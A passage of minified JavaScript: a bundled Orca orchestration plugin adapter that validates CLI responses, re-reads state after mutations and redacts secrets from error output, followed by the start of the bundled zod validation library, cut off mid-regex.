e:x$}),"run-use":b({runId:R,coordinatorTerminalHandle:x$}),"task-create":b({taskId:R}),"task-list":b({tasks:U.array($0).max(100)}),"task-update":b({taskId:R}),"worker-start":b({dispatchId:R,taskId:R}),"worker-show":b({dispatch:W0}),"worker-read":b({dispatchId:R,source:UW,output:l,cursor:I$.optional()}),"worker-release":b({dispatchId:R}),send:jW,check:G0,reply:jW,ask:J0,"gate-create":b({gateId:R,taskId:R}),"gate-list":b({gates:U.array(H0).max(100)}),"gate-resolve":b({gateId:R,taskId:R})},X0=U.object({id:U.string().min(1).max(256),ok:U.boolean(),result:U.unknown().optional(),error:U.object({code:U.string().min(1).max(128),message:U.string().min(1).max(4096)}).strict().optional(),_meta:U.object({runtimeId:R,runtimeVersion:s.optional(),version:s.optional(),invokingTerminal:x$.optional()}).strict().optional()}).strict().refine(($)=>$.ok?$.result!==void 0&&$.error===void 0:$.result===void 0&&$.error!==void 0);function H$($,W,H){return new A("ambiguous_after_possible_commit",$,W,"unrecoverably-ambiguous","Do not retry automatically; inspect the documented public read operation before choosing another mutation.",H)}function Y0($,W,H){let G;try{G=q0(W)}catch{if(H)throw H$($,"decode","stdout was not one JSON document");throw new A("malformed_json",$,"decode","safe","Inspect Orca health and retry this read-only operation when safe.","stdout was not one JSON document")}let J=X0.safeParse(G);if(!J.success){if(H)throw H$($,"decode","stdout did not match the Orca envelope contract");throw new A("unexpected_response",$,"decode","safe","Use a compatible Orca CLI version.","stdout did not match the Orca envelope contract")}if(J.data.ok){if(!Q0[$].safeParse(J.data.result).success){if(H)throw H$($,"receipt",`success result did not match the finite ${$} response contract`);throw new A("unexpected_response",$,"decode","safe","Use a compatible Orca CLI version and inspect the public operation result.",`success result did not match the finite ${$} response contract`)}}return J.data}function q0($){let W=[],H=!1,G=0;while(G<$.length){let J=$[G];if(J==='"'){let Q=G;G+=1;while(G<$.length)if($[G]==="\\")G+=2;else if($[G]==='"')break;else G+=1;if(G>=$.length)throw Error("unterminated JSON string");if(H){let X=JSON.parse($.slice(Q,G+1)),Y=W.at(-1);if(Y===null||Y===void 0||Y.has(X))throw Error("duplicate JSON key");Y.add(X),H=!1}}else if(J==="{")W.push(new Set),H=!0;else if(J==="[")W.push(null);else if(J==="}")W.pop();else if(J==="]")W.pop();else if(J===","&&W.at(-1)instanceof Set)H=!0;G+=1}return JSON.parse($)}var i$=new Set(["run-create","run-use","task-create","task-update","worker-start","worker-release","send","reply","ask","gate-create","gate-resolve"]);function s$($,W){return $==="check"&&typeof W==="object"&&W!==null&&"ack"in W}function E($){return $}function _0($,W){let H=E(W);return Object.freeze(Object.fromEntries(({"run-create":["runId"],"run-use":["runId"],"task-create":["taskId"],"task-update":["taskId"],"worker-start":["dispatchId","taskId"],"worker-release":["dispatchId"],send:["messageId"],reply:["messageId"],ask:["messageId"],check:["deliveryId"],"gate-create":["gateId","taskId"],"gate-resolve":["gateId","taskId"]}[$]??[]).flatMap((J)=>typeof H[J]==="string"?[[J,H[J]]]:[])))}function B0($,W){if($.operation==="run-use"){let H=E(W);return{operation:{operation:"run-current"},matches:(G)=>{let J=E(G),Q=E(J.run);return H.runId===$.id&&Q.id===$.id&&H.coordinatorTerminalHandle===J.coordinatorTerminalHandle}}}if($.operation==="gate-resolve"){let H=E(W);return{operation:{operation:"gate-list",task:$.task},matches:(G)=>{if(H.gateId!==$.id||H.taskId!==$.task)return!1;let J=E(G).gates;if(!Array.isArray(J))return!1;let Q=J.map(E).filter((X)=>X.id===$.id);return Q.length===1&&Q[0].taskId===$.task&&Q[0].status==="resolved"&&Q[0].resolution===$.resolution}}}if($.operation==="worker-release"){let H=E(W);return{operation:{operation:"worker-show",dispatch:$.dispatch},matches:(G)=>{let J=E(E(G).dispatch);return H.dispatchId===$.dispatch&&J.id===$.dispatch&&["released","retained"].includes(String(J.terminalDisposition))}}}if($.operation==="run-create"){let H=E(W).runId;return{operation:{operation:"run-show",id:String(H)},matches:(G)=>{let J=E(E(G).run);return J.id===H&&J.objective===$.objective}}}if($.operation==="task-create"||$.operation==="task-update"){let H=E(W),G=$.operation==="task-create"?H.taskId:$.id;return{operation:{operation:"task-list"},matches:(J)=>{if(H.taskId!==G)return!1;let Q=E(J).tasks;if(!Array.isArray(Q))return!1;let X=Q.map(E).filter((q)=>q.id===G);if(X.length!==1)return!1;let Y=X[0];return $.operation==="task-create"?Y.spec===$.spec&&Y.title===$.title&&JSON.stringify(Y.deps??[])===JSON.stringify($.deps??[])&&Y.parent===$.parent:Y.status===$.status&&JSON.stringify(Y.result)===JSON.stringify($.result)}}}if($.operation==="worker-start"){let H=E(W),G=H.dispatchId;return{operation:{operation:"worker-show",dispatch:String(G)},matches:(J)=>{let Q=E(E(J).dispatch);return H.taskId===$.task&&Q.id===G&&Q.taskId===$.task&&Q.agent===$.agent&&Q.model===$.model&&Q.effort===$.effort}}}if($.operation==="gate-create"){let H=E(W),G=H.gateId;return{operation:{operation:"gate-list",task:$.task},matches:(J)=>{let Q=E(J).gates;if(!Array.isArray(Q))return!1;if(H.taskId!==$.task)return!1;let X=Q.map(E).filter((q)=>q.id===G);if(X.length!==1)return!1;let Y=X[0];return Y?.taskId===$.task&&Y.question===$.question&&JSON.stringify(Y.options)===JSON.stringify($.options)}}}return}function M0($,W,H){let G=s$($,W),J=i$.has($)||G;if(H.outputLimited||H.transportLost){if(J)return H$($,"execute",H.outputLimited?"Orca output exceeded the adapter limit":"Orca transport closed before a valid response");return wW($,H.outputLimited?"output_limit":"process_exit",H.outputLimited?"Orca output exceeded the adapter limit":"Orca transport closed before a valid response")}if(H.timedOut)return J?H$($,"execute","Orca did not finish before the deadline"):wW($,"timeout","Orca did not finish before the deadline");if(H.exitCode!==0){if(J)return new A("ambiguous_after_possible_commit",$,"execute","unrecoverably-ambiguous","Do not retry automatically; inspect the documented public read operation before choosing another mutation.",`Orca exited with status ${H.exitCode??"signal"}`,H.stderr);return new A("process_exit",$,"execute",J?"readback-required":"safe","Inspect Orca state and use the documented recovery operation.",`Orca exited with status ${H.exitCode??"signal"}`,H.stderr.slice(-4096))}return}function wW($,W,H){return new A(W,$,"execute","safe","Retry the read-only operation when Orca is healthy.",H)}function KW($={}){let W=Object.freeze({...$.env??process.env}),H=s3({platform:$.platform,managedTerminal:$.managedTerminal??W.TERM_PROGRAM==="Orca"}),G=$.executor??VW,J=$.timeoutMs??r3,Q=$.now??(()=>new Date),X=async(Y)=>{let q=MW(Y),j;try{j=await G({executable:H,argv:q,shell:!1,timeoutMs:J,maxStdoutBytes:o3,maxStderrBytes:a3,env:W})}catch(k){throw new A("executable_unavailable",Y.operation,"resolve","safe","Verify that the deterministic Orca executable is installed and available, then retry.",k instanceof Error&&"code"in k?`Orca execution failed (${String(k.code)})`:"Orca execution failed")}j={...j,stderr:U0(j.stderr,Y,W)};let V=i$.has(Y.operation)||s$(Y.operation,Y),g=M0(Y.operation,Y,j);if(g!==void 0)throw g;let P=Y0(Y.operation,j.stdout,V);if(!P.ok){let k=a$(P.error?.message??"Orca returned an error envelope",Y,W);if(V)throw H$(Y.operation,"decode",k);throw new A("unexpected_response",Y.operation,"decode",V?"readback-required":"safe","Follow the public Orca diagnostic and inspect state before retrying.",k)}return P};return Object.freeze({executable:H,async execute(Y){let q=DW.safeParse(Y);if(!q.success)throw MW(Y),Error("unreachable");let j=q.data,V=Q().toISOString(),g=await X(j);if(!i$.has(j.operation)&&!s$(j.operation,j))return g;return j0(j,g,V,X,Q,W)}})}async function j0($,W,H,G,J,Q){z0($,W);let X=B0($,W.result);if(X!==void 0){let j;try{j=await G(X.operation)}catch(V){throw w0($,X.operation.operation,V,Q)}if(!X.matches(j.result))throw new A("readback_mismatch",$.operation,"readback","unsafe",`Inspect state with orchestration ${X.operation.operation}; do not retry the mutation automatically.`,`${X.operation.operation} disagreed with the mutation receipt`)}let Y=W._meta,q=Object.freeze({verb:$.operation,ids:_0($.operation,W.result),runtimeId:Y.runtimeId,runtimeVersion:Y.runtimeVersion,startedAt:H,completedAt:J().toISOString(),readbackVerb:X?.operation.operation??null});return Object.freeze({...W,receipt:q})}function w0($,W,H,G){if(!(H instanceof A))return new A("unexpected_response",$.operation,"readback","unrecoverably-ambiguous",`Inspect state with orchestration ${W}; do not retry the mutation automatically.`,`${W} failed after Orca returned a valid mutation receipt`);return new A(H.code,$.operation,"readback","readback-required",`Repeat or inspect orchestration ${W}; do not retry the mutation automatically.`,a$(`${W} failed after Orca returned a valid mutation receipt: ${H.message}`,$,G),H.stderr)}function z0($,W){if(W._meta?.runtimeId===void 0||W._meta.runtimeVersion===void 0)throw H$($.operation,"receipt","mutation receipt omitted bounded runtime identity/version metadata");if(!S0($,W.result))throw new A("readback_mismatch",$.operation,"receipt","unsafe","Inspect the requested entity with its documented public read operation; do not retry automatically.","mutation receipt identity disagreed with the requested entity");if($.operation==="check"&&$.ack!==void 0&&E(W.result).acknowledged!==!0)throw H$($.operation,"receipt","check --ack success did not contain its matching delivery identifier");if($.operation==="run-use"&&E(W.result).coordinatorTerminalHandle!==W._meta.invokingTerminal)throw new A("readback_mismatch",$.operation,"readback","unsafe","Inspect orchestration run-current; do not retry run-use automatically.","run-use terminal binding was not runtime-attested")}function S0($,W){let H=E(W);switch($.operation){case"run-use":return H.runId===$.id;case"task-update":return H.taskId===$.id;case"worker-start":return H.taskId===$.task;case"worker-release":return H.dispatchId===$.dispatch;case"reply":return H.messageId===$.id;case"ask":return $.resume===void 0||H.messageId===$.resume;case"check":return $.ack===void 0||H.deliveryId===$.ack;case"gate-create":return H.taskId===$.task;case"gate-resolve":return H.gateId===$.id&&H.taskId===$.task;default:return!0}}function U0($,W,H){return a$($,W,H)}function a$($,W,H){let G=[...$].filter((q)=>{let j=q.charCodeAt(0);return j===9||j===10||j===13||j>=32&&j!==127&&j<128||j>159}).join(""),J=r$(W),Q=Object.entries(H).filter(([q,j])=>j!==void 0&&/(?:TOKEN|SECRET|PASSWORD|PASS|KEY|CREDENTIAL|AUTH|COOKIE)/i.test(q)).map(([,q])=>q),X=Object.values(H).flatMap((q)=>q===void 0?[]:R0(q));for(let q of[...J,...Q,...X].filter((j)=>j.length>=3).sort((j,V)=>V.length-j.length))G=G.split(q).join("[REDACTED]");let Y=Buffer.from(G,"utf8");return Y.length<=4096?G:Buffer.concat([Buffer.from("[truncated] "),Y.subarray(Y.length-4084)]).toString("utf8")}function R0($){try{let W=new URL($);if(W.password.length===0)return[];try{return[W.password,decodeURIComponent(W.password)]}catch{return[W.password]}}catch{return[]}}function r$($){if(typeof $==="string")return[$];if(Array.isArray($))return $.flatMap(r$);if(typeof $==="object"&&$!==null)return Object.values($).flatMap(r$);return[]}function y$(){return KW()}var t0=Object.freeze({createAdapter:KW,spawnOrcaProcess:VW});var N0="1.4.193",L0="orchestration.contract.v1";function EW($){return new A("unsupported_environment","runtime","resolve","safe","Run this plugin in a supported Orca host with the public orchestration contract and child-process access.",$)}function bW($){let W=/^(\d+)\.(\d+)\.(\d+)(?:[-+].*)?$/.exec($);if(W===null)return;return W.slice(1).map(Number)}function D0($,W){let H=bW($),G=bW(W);if(H===void 0||G===void 0)return!1;for(let J=0;J<3;J+=1)if(H[J]!==G[J])return H[J]>G[J];return!0}async function FW($){try{let W=await $.execute({operation:"run-list",limit:1}),H=W._meta?.runtimeId,G=W._meta?.runtimeVersion;if(H===void 0||G===void 0||!D0(G,N0))throw EW("Orca runtime compatibility metadata is absent or outside the supported range.");return Object.freeze({runtimeId:H,runtimeVersion:G,contract:L0})}catch(W){if(W instanceof A&&W.code==="unsupported_environment")throw W;throw EW("The Orca compatibility probe could not complete through the public adapter.")}}function AW($=y$()){return Object.freeze({probe:()=>FW($),async execute(W){return await FW($),$.execute(W)}})}var V0="genie.orca.run-list";function K0($=y$()){let W=AW($);return async(H)=>{H.commands.register(V0,()=>W.execute({operation:"run-list",limit:100}))}}var G1=K0();export{G1 as default,K0 as createOrcaPluginEntrypoint,V0 as ORCA_RUN_LIST_COMMAND}; +var gW=Object.defineProperty;var TW=($)=>$;function xW($,W){this[$]=TW.bind(null,W)}var mW=($,W)=>{for(var H in W)gW($,H,{get:W[H],enumerable:!0,configurable:!0,set:xW.bind(W,H)})};import{spawn as r3}from"node:child_process";var _={};mW(_,{void:()=>K3,util:()=>z,unknown:()=>V3,union:()=>A3,undefined:()=>L3,tuple:()=>C3,transformer:()=>y3,symbol:()=>N3,string:()=>jW,strictObject:()=>E3,setErrorMap:()=>lW,set:()=>I3,record:()=>v3,quotelessJson:()=>yW,promise:()=>m3,preprocess:()=>c3,pipeline:()=>u3,ostring:()=>n3,optional:()=>Z3,onumber:()=>d3,oboolean:()=>p3,objectUtil:()=>d$,object:()=>F3,number:()=>MW,nullable:()=>l3,null:()=>R3,never:()=>z3,nativeEnum:()=>x3,nan:()=>w3,map:()=>P3,makeIssue:()=>O$,literal:()=>g3,lazy:()=>h3,late:()=>j3,isValid:()=>r,isDirty:()=>T$,isAsync:()=>j$,isAborted:()=>g$,intersection:()=>f3,instanceof:()=>M3,getParsedType:()=>c,getErrorMap:()=>B$,function:()=>k3,enum:()=>T3,effect:()=>y3,discriminatedUnion:()=>O3,defaultErrorMap:()=>p,datetimeRegex:()=>qW,date:()=>S3,custom:()=>BW,coerce:()=>i3,boolean:()=>wW,bigint:()=>U3,array:()=>b3,any:()=>D3,addIssueToContext:()=>M,ZodVoid:()=>C$,ZodUnknown:()=>o,ZodUnion:()=>L$,ZodUndefined:()=>S$,ZodType:()=>V,ZodTuple:()=>n,ZodTransformer:()=>Z,ZodSymbol:()=>f$,ZodString:()=>T,ZodSet:()=>Q$,ZodSchema:()=>V,ZodRecord:()=>v$,ZodReadonly:()=>F$,ZodPromise:()=>Y$,ZodPipeline:()=>k$,ZodParsedType:()=>j,ZodOptional:()=>m,ZodObject:()=>A,ZodNumber:()=>a,ZodNullable:()=>s,ZodNull:()=>N$,ZodNever:()=>u,ZodNativeEnum:()=>z$,ZodNaN:()=>I$,ZodMap:()=>P$,ZodLiteral:()=>V$,ZodLazy:()=>D$,ZodIssueCode:()=>B,ZodIntersection:()=>R$,ZodFunction:()=>w$,ZodFirstPartyTypeKind:()=>L,ZodError:()=>I,ZodEnum:()=>e,ZodEffects:()=>Z,ZodDiscriminatedUnion:()=>x$,ZodDefault:()=>K$,ZodDate:()=>J$,ZodCatch:()=>b$,ZodBranded:()=>m$,ZodBoolean:()=>U$,ZodBigInt:()=>t,ZodArray:()=>x,ZodAny:()=>X$,Schema:()=>V,ParseStatus:()=>C,OK:()=>v,NEVER:()=>s3,INVALID:()=>S,EMPTY_PATH:()=>cW,DIRTY:()=>G$,BRAND:()=>B3});var z;(function($){$.assertEqual=(G)=>{};function W(G){}$.assertIs=W;function H(G){throw Error()}$.assertNever=H,$.arrayToEnum=(G)=>{let X={};for(let Q of G)X[Q]=Q;return X},$.getValidEnumValues=(G)=>{let X=$.objectKeys(G).filter((q)=>typeof G[G[q]]!=="number"),Q={};for(let q of X)Q[q]=G[q];return $.objectValues(Q)},$.objectValues=(G)=>{return $.objectKeys(G).map(function(X){return G[X]})},$.objectKeys=typeof Object.keys==="function"?(G)=>Object.keys(G):(G)=>{let X=[];for(let Q in G)if(Object.prototype.hasOwnProperty.call(G,Q))X.push(Q);return X},$.find=(G,X)=>{for(let Q of G)if(X(Q))return Q;return},$.isInteger=typeof Number.isInteger==="function"?(G)=>Number.isInteger(G):(G)=>typeof G==="number"&&Number.isFinite(G)&&Math.floor(G)===G;function J(G,X=" | "){return G.map((Q)=>typeof Q==="string"?`'${Q}'`:Q).join(X)}$.joinValues=J,$.jsonStringifyReplacer=(G,X)=>{if(typeof X==="bigint")return X.toString();return X}})(z||(z={}));var d$;(function($){$.mergeShapes=(W,H)=>{return{...W,...H}}})(d$||(d$={}));var j=z.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),c=($)=>{switch(typeof $){case"undefined":return j.undefined;case"string":return j.string;case"number":return Number.isNaN($)?j.nan:j.number;case"boolean":return j.boolean;case"function":return j.function;case"bigint":return j.bigint;case"symbol":return j.symbol;case"object":if(Array.isArray($))return j.array;if($===null)return j.null;if($.then&&typeof $.then==="function"&&$.catch&&typeof $.catch==="function")return j.promise;if(typeof Map<"u"&&$ instanceof Map)return j.map;if(typeof Set<"u"&&$ instanceof Set)return j.set;if(typeof Date<"u"&&$ instanceof Date)return j.date;return j.object;default:return j.unknown}};var B=z.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),yW=($)=>{return JSON.stringify($,null,2).replace(/"([^"]+)":/g,"$1:")};class I extends Error{get errors(){return this.issues}constructor($){super();this.issues=[],this.addIssue=(H)=>{this.issues=[...this.issues,H]},this.addIssues=(H=[])=>{this.issues=[...this.issues,...H]};let W=new.target.prototype;if(Object.setPrototypeOf)Object.setPrototypeOf(this,W);else this.__proto__=W;this.name="ZodError",this.issues=$}format($){let W=$||function(G){return G.message},H={_errors:[]},J=(G)=>{for(let X of G.issues)if(X.code==="invalid_union")X.unionErrors.map(J);else if(X.code==="invalid_return_type")J(X.returnTypeError);else if(X.code==="invalid_arguments")J(X.argumentsError);else if(X.path.length===0)H._errors.push(W(X));else{let Q=H,q=0;while(q<X.path.length){let Y=X.path[q];if(q!==X.path.length-1)Q[Y]=Q[Y]||{_errors:[]};else Q[Y]=Q[Y]||{_errors:[]},Q[Y]._errors.push(W(X));Q=Q[Y],q++}}};return J(this),H}static assert($){if(!($ instanceof I))throw Error(`Not a ZodError: ${$}`)}toString(){return this.message}get message(){return JSON.stringify(this.issues,z.jsonStringifyReplacer,2)}get isEmpty(){return this.issues.length===0}flatten($=(W)=>W.message){let W={},H=[];for(let J of this.issues)if(J.path.length>0){let G=J.path[0];W[G]=W[G]||[],W[G].push($(J))}else H.push($(J));return{formErrors:H,fieldErrors:W}}get formErrors(){return this.flatten()}}I.create=($)=>{return new I($)};var ZW=($,W)=>{let H;switch($.code){case B.invalid_type:if($.received===j.undefined)H="Required";else H=`Expected ${$.expected}, received ${$.received}`;break;case B.invalid_literal:H=`Invalid literal value, expected ${JSON.stringify($.expected,z.jsonStringifyReplacer)}`;break;case B.unrecognized_keys:H=`Unrecognized key(s) in object: ${z.joinValues($.keys,", ")}`;break;case B.invalid_union:H="Invalid input";break;case B.invalid_union_discriminator:H=`Invalid discriminator value. Expected ${z.joinValues($.options)}`;break;case B.invalid_enum_value:H=`Invalid enum value. Expected ${z.joinValues($.options)}, received '${$.received}'`;break;case B.invalid_arguments:H="Invalid function arguments";break;case B.invalid_return_type:H="Invalid function return type";break;case B.invalid_date:H="Invalid date";break;case B.invalid_string:if(typeof $.validation==="object")if("includes"in $.validation){if(H=`Invalid input: must include "${$.validation.includes}"`,typeof $.validation.position==="number")H=`${H} at one or more positions greater than or equal to ${$.validation.position}`}else if("startsWith"in $.validation)H=`Invalid input: must start with "${$.validation.startsWith}"`;else if("endsWith"in $.validation)H=`Invalid input: must end with "${$.validation.endsWith}"`;else z.assertNever($.validation);else if($.validation!=="regex")H=`Invalid ${$.validation}`;else H="Invalid";break;case B.too_small:if($.type==="array")H=`Array must contain ${$.exact?"exactly":$.inclusive?"at least":"more than"} ${$.minimum} element(s)`;else if($.type==="string")H=`String must contain ${$.exact?"exactly":$.inclusive?"at least":"over"} ${$.minimum} character(s)`;else if($.type==="number")H=`Number must be ${$.exact?"exactly equal to ":$.inclusive?"greater than or equal to ":"greater than "}${$.minimum}`;else if($.type==="bigint")H=`Number must be ${$.exact?"exactly equal to ":$.inclusive?"greater than or equal to ":"greater than "}${$.minimum}`;else if($.type==="date")H=`Date must be ${$.exact?"exactly equal to ":$.inclusive?"greater than or equal to ":"greater than "}${new Date(Number($.minimum))}`;else H="Invalid input";break;case B.too_big:if($.type==="array")H=`Array must contain ${$.exact?"exactly":$.inclusive?"at most":"less than"} ${$.maximum} element(s)`;else if($.type==="string")H=`String must contain ${$.exact?"exactly":$.inclusive?"at most":"under"} ${$.maximum} character(s)`;else if($.type==="number")H=`Number must be ${$.exact?"exactly":$.inclusive?"less than or equal to":"less than"} ${$.maximum}`;else if($.type==="bigint")H=`BigInt must be ${$.exact?"exactly":$.inclusive?"less than or equal to":"less than"} ${$.maximum}`;else if($.type==="date")H=`Date must be ${$.exact?"exactly":$.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number($.maximum))}`;else H="Invalid input";break;case B.custom:H="Invalid input";break;case B.invalid_intersection_types:H="Intersection results could not be merged";break;case B.not_multiple_of:H=`Number must be a multiple of ${$.multipleOf}`;break;case B.not_finite:H="Number must be finite";break;default:H=W.defaultError,z.assertNever($)}return{message:H}},p=ZW;var GW=p;function lW($){GW=$}function B$(){return GW}var O$=($)=>{let{data:W,path:H,errorMaps:J,issueData:G}=$,X=[...H,...G.path||[]],Q={...G,path:X};if(G.message!==void 0)return{...G,path:X,message:G.message};let q="",Y=J.filter((w)=>!!w).slice().reverse();for(let w of Y)q=w(Q,{data:W,defaultError:q}).message;return{...G,path:X,message:q}},cW=[];function M($,W){let H=B$(),J=O$({issueData:W,data:$.data,path:$.path,errorMaps:[$.common.contextualErrorMap,$.schemaErrorMap,H,H===p?void 0:p].filter((G)=>!!G)});$.common.issues.push(J)}class C{constructor(){this.value="valid"}dirty(){if(this.value==="valid")this.value="dirty"}abort(){if(this.value!=="aborted")this.value="aborted"}static mergeArray($,W){let H=[];for(let J of W){if(J.status==="aborted")return S;if(J.status==="dirty")$.dirty();H.push(J.value)}return{status:$.value,value:H}}static async mergeObjectAsync($,W){let H=[];for(let J of W){let G=await J.key,X=await J.value;H.push({key:G,value:X})}return C.mergeObjectSync($,H)}static mergeObjectSync($,W){let H={};for(let J of W){let{key:G,value:X}=J;if(G.status==="aborted")return S;if(X.status==="aborted")return S;if(G.status==="dirty")$.dirty();if(X.status==="dirty")$.dirty();if(G.value!=="__proto__"&&(typeof X.value<"u"||J.alwaysSet))H[G.value]=X.value}return{status:$.value,value:H}}}var S=Object.freeze({status:"aborted"}),G$=($)=>({status:"dirty",value:$}),v=($)=>({status:"valid",value:$}),g$=($)=>$.status==="aborted",T$=($)=>$.status==="dirty",r=($)=>$.status==="valid",j$=($)=>typeof Promise<"u"&&$ instanceof Promise;var U;(function($){$.errToObj=(W)=>typeof W==="string"?{message:W}:W||{},$.toString=(W)=>typeof W==="string"?W:W?.message})(U||(U={}));class y{constructor($,W,H,J){this._cachedPath=[],this.parent=$,this.data=W,this._path=H,this._key=J}get path(){if(!this._cachedPath.length)if(Array.isArray(this._key))this._cachedPath.push(...this._path,...this._key);else this._cachedPath.push(...this._path,this._key);return this._cachedPath}}var JW=($,W)=>{if(r(W))return{success:!0,data:W.value};else{if(!$.common.issues.length)throw Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let H=new I($.common.issues);return this._error=H,this._error}}}};function R($){if(!$)return{};let{errorMap:W,invalid_type_error:H,required_error:J,description:G}=$;if(W&&(H||J))throw Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);if(W)return{errorMap:W,description:G};return{errorMap:(Q,q)=>{let{message:Y}=$;if(Q.code==="invalid_enum_value")return{message:Y??q.defaultError};if(typeof q.data>"u")return{message:Y??J??q.defaultError};if(Q.code!=="invalid_type")return{message:q.defaultError};return{message:Y??H??q.defaultError}},description:G}}class V{get description(){return this._def.description}_getType($){return c($.data)}_getOrReturnCtx($,W){return W||{common:$.parent.common,data:$.data,parsedType:c($.data),schemaErrorMap:this._def.errorMap,path:$.path,parent:$.parent}}_processInputParams($){return{status:new C,ctx:{common:$.parent.common,data:$.data,parsedType:c($.data),schemaErrorMap:this._def.errorMap,path:$.path,parent:$.parent}}}_parseSync($){let W=this._parse($);if(j$(W))throw Error("Synchronous parse encountered promise.");return W}_parseAsync($){let W=this._parse($);return Promise.resolve(W)}parse($,W){let H=this.safeParse($,W);if(H.success)return H.data;throw H.error}safeParse($,W){let H={common:{issues:[],async:W?.async??!1,contextualErrorMap:W?.errorMap},path:W?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:$,parsedType:c($)},J=this._parseSync({data:$,path:H.path,parent:H});return JW(H,J)}"~validate"($){let W={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:$,parsedType:c($)};if(!this["~standard"].async)try{let H=this._parseSync({data:$,path:[],parent:W});return r(H)?{value:H.value}:{issues:W.common.issues}}catch(H){if(H?.message?.toLowerCase()?.includes("encountered"))this["~standard"].async=!0;W.common={issues:[],async:!0}}return this._parseAsync({data:$,path:[],parent:W}).then((H)=>r(H)?{value:H.value}:{issues:W.common.issues})}async parseAsync($,W){let H=await this.safeParseAsync($,W);if(H.success)return H.data;throw H.error}async safeParseAsync($,W){let H={common:{issues:[],contextualErrorMap:W?.errorMap,async:!0},path:W?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:$,parsedType:c($)},J=this._parse({data:$,path:H.path,parent:H}),G=await(j$(J)?J:Promise.resolve(J));return JW(H,G)}refine($,W){let H=(J)=>{if(typeof W==="string"||typeof W>"u")return{message:W};else if(typeof W==="function")return W(J);else return W};return this._refinement((J,G)=>{let X=$(J),Q=()=>G.addIssue({code:B.custom,...H(J)});if(typeof Promise<"u"&&X instanceof Promise)return X.then((q)=>{if(!q)return Q(),!1;else return!0});if(!X)return Q(),!1;else return!0})}refinement($,W){return this._refinement((H,J)=>{if(!$(H))return J.addIssue(typeof W==="function"?W(H,J):W),!1;else return!0})}_refinement($){return new Z({schema:this,typeName:L.ZodEffects,effect:{type:"refinement",refinement:$}})}superRefine($){return this._refinement($)}constructor($){this.spa=this.safeParseAsync,this._def=$,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:(W)=>this["~validate"](W)}}optional(){return m.create(this,this._def)}nullable(){return s.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return x.create(this)}promise(){return Y$.create(this,this._def)}or($){return L$.create([this,$],this._def)}and($){return R$.create(this,$,this._def)}transform($){return new Z({...R(this._def),schema:this,typeName:L.ZodEffects,effect:{type:"transform",transform:$}})}default($){let W=typeof $==="function"?$:()=>$;return new K$({...R(this._def),innerType:this,defaultValue:W,typeName:L.ZodDefault})}brand(){return new m$({typeName:L.ZodBranded,type:this,...R(this._def)})}catch($){let W=typeof $==="function"?$:()=>$;return new b$({...R(this._def),innerType:this,catchValue:W,typeName:L.ZodCatch})}describe($){return new this.constructor({...this._def,description:$})}pipe($){return k$.create(this,$)}readonly(){return F$.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return this.safeParse(null).success}}var uW=/^c[^\s-]{8,}$/i,nW=/^[0-9a-z]+$/,dW=/^[0-9A-HJKMNP-TV-Z]{26}$/i,pW=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,iW=/^[a-z0-9_-]{21}$/i,sW=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,rW=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,oW=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,aW="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",p$,tW=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,eW=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,$3=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4